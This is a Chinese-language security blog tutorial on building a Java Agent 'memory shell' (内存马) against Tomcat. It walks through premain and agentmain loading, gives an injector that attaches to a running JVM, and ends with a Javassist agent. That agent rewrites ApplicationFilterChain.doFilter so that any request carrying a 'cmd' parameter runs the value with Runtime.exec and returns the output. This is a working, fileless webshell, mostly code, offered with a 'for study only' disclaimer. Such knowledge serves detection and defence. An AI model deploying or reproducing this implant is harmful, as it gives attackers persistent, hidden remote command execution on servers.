初识Java Agent 内存马

2024-09-28 17 0

一 前置原理

内存马存在4种类型:Filter型、Servlet型、Listener型、Agent型

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 
  2. 实现 agentmain 方法,在启动后进行加载

Java Agent允许程序员利用agent技术构建一个独立于应用程序的代理程序,用途也非常广泛,可以协助监测、运行、甚至替换其他JVM上的程序

VirtualMachine

先了解一下 VirtualMachine, 可以通过此接口的实例直接或间接访问所有其他镜像,此接口直接支持访问全局VM属性和控制VM执行,主要方法如下:VirtualMachine - Java 11中文版 - API参考文档 (apiref.com),通过 VirtualMachine 可以找到其他运行的jvm,如果我们可以使用这种方式修改其他程序,那么就达到了注入的效果

初识Java Agent 内存马插图

Instrumentation

使用 Instrumentation,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。主要方法如下:Instrumentation 包/类/方法中文说明 - Java 11 API中文版 - 手册 - 时代Java (nowjava.com)

初识Java Agent 内存马插图1

Javassit

可看下文

Java字节码操作神器:Javassist入门指南_java javasist-CSDN博客

Javassist中文技术文档 - 程序诗人 - 博客园 (cnblogs.com)

javassist使用全解析 - rickiyang - 博客园 (cnblogs.com)

二 preMain

JVM启动前加载

注入代码

public class MyPremain {
        public static void premain(String agentArgs, Instrumentation inst) {
                System.out.println("MyPremain");
        }
}

之后添加工件

初识Java Agent 内存马插图2

构建jar包时一定要将其中MANIFEST.MF文件中的main-class需要改为premain-class

初识Java Agent 内存马插图3

这是我们的被注入程序,打包成jar

public class Main {
        public static void main(String[] args) {

                for (int i = 0; i < 100; i++) {
                        System.out.println("Hello World");
                        try {
                                Thread.sleep(5000);
                        } catch (InterruptedException e) {

                        }
                }
        }
}

在命令行利用 -javaagent来实现启动时加载,此时效果如下,可以看到先执行了我们的恶意jar

初识Java Agent 内存马插图4

三 agentMain

JVM启动后加载

还是先写一个恶意类,同样的构建jar包时必须更改MANIFEST.MF文件

初识Java Agent 内存马插图5

Manifest-Version: 1.0
Agent-Class: com.agentmain_test.myAgentMain

由于是运行时注入,所以我们需要一个注入器,注入器主要通过VirtualMachine实现,VirtualMachine.list获取到jvm虚拟机列表,然后通过loadAgent方法可以加载我们需要加载的恶意方法,此时我们就可以将jar注入到正在运行的程序中

首先需要添加tools.jar的依赖

初识Java Agent 内存马插图6

注入器代码

public static void main(String[] args) throws IOException, AttachNotSupportedException {
                List<VirtualMachineDescriptor> list = VirtualMachine.list();
                for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
                        if(virtualMachineDescriptor.displayName() == "com.agent.Main"){
                                VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor);
                                try {
                                        attach.loadAgent("agent 的jar文件位置");
                                } catch (AgentLoadException e) {
                                        throw new RuntimeException(e);
                                } catch (AgentInitializationException e) {
                                        throw new RuntimeException(e);
                                }
                        }
                }
        }

启动我们的目标项目和注入器,注入成功

初识Java Agent 内存马插图7

初识Java Agent 内存马插图8

四 内存马实现

启动tomcat,以此检测agent注入时在tomcat等中间件中的可行性,可以看到同样可以被注入

初识Java Agent 内存马插图9

同时修改agent代码如下

public class myAgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fileOutputStream = new FileOutputStream(new File("classes.txt"));
for (Class aClass : classes) {
String className = aClass.getName() + " " + aClass.getDeclaredMethods().toString()+"\n";
fileOutputStream.write(className.getBytes());
}
fileOutputStream.close();
System.out.println("agentmain");
}
}

通过 inst.getAllLoadedClasses 获取到我们可以修改和注入的类,而对于寻找被注入的类,必须满足两个条件:

  1. 该方法一定会被执行
  2. 不会影响正常的业务逻辑

对于用户请求到达服务器之前,Filter、Servlet是一定会被经过的,而在ApplicationFilterChain#doFilter、HttpServlet#service还封装了我们用户请求的 request 和 response,如果我们能够注入这些方法,那么我们不就可以直接获取用户的请求,进而将执行结果写在 response 中进行返回初识Java Agent 内存马插图10

初识Java Agent 内存马插图11

完善agentMain代码,使其执行我们的代码

public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, NotFoundException, CannotCompileException, UnmodifiableClassException, ClassNotFoundException {
                Class[] classes = inst.getAllLoadedClasses();

                for (Class aClass : classes) {
                       if (aClass.getName().equals("要注入的类")) {
                               // 创建类池
                              ClassPool classPool = ClassPool.getDefault();
                              ClassClassPath classPath = new ClassClassPath(aClass);
                              classPool.insertClassPath(classPath);

                               CtClass ctClass = classPool.get(aClass.getName());
                               CtMethod service = ctClass.getDeclaredMethod("service");
                               service.insertBefore("执行的恶意代码");
                               ctClass.detach();

                              byte[] bytecode = ctClass.toBytecode();
                               inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass,bytecode)});
                       }
                }

                System.out.println("注入成功");
}

此时我注入的是 javax.servlet.http.HttpServlet 类,效果如下

初识Java Agent 内存马插图12

此时已经注入成功

现在我们修改要执行的代码,并且模拟一个真实环境

参考的这位师傅的dofilter代码(service只是把类和方法更换就好) 浅谈 Java Agent 内存马-腾讯云开发者社区-腾讯云 (tencent.com)主要service这里一直报错没有解决掉,哭死

public class myAgentMain {
        public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
                ClassPool pool = ClassPool.getDefault();
               

                CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain");
                CtMethod service = ctClass.getDeclaredMethod("doFilter");

                // 插入代码,确保所有类都已正确导入
                String toInsert = "javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}";
                service.insertBefore(toInsert);

                byte[] bytecode = ctClass.toBytecode();
                inst.redefineClasses(new ClassDefinition(ctClass.toClass(), bytecode));
                System.out.println("注入成功");
        }
}

初识Java Agent 内存马插图13

初识Java Agent 内存马插图14

可以看到也是成功注入的

五 内存马利用方式

【原创】利用“进程注入”实现无文件不死webshell - rebeyond - 博客园 (cnblogs.com)

论如何优雅的注入 Java Agent 内存马 (seebug.org)


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

日本数据保护要求
蓝队宝典 | 利用黑客指纹情报构建高级威胁防御战略
Kernel Stack栈溢出攻击及保护绕过
深度学习后门攻击分析与实现(二)
渗透测试 | 如何用三条命令查杀冰蝎和哥斯拉内存马
Java Filter型 Tomcat内存马

发布评论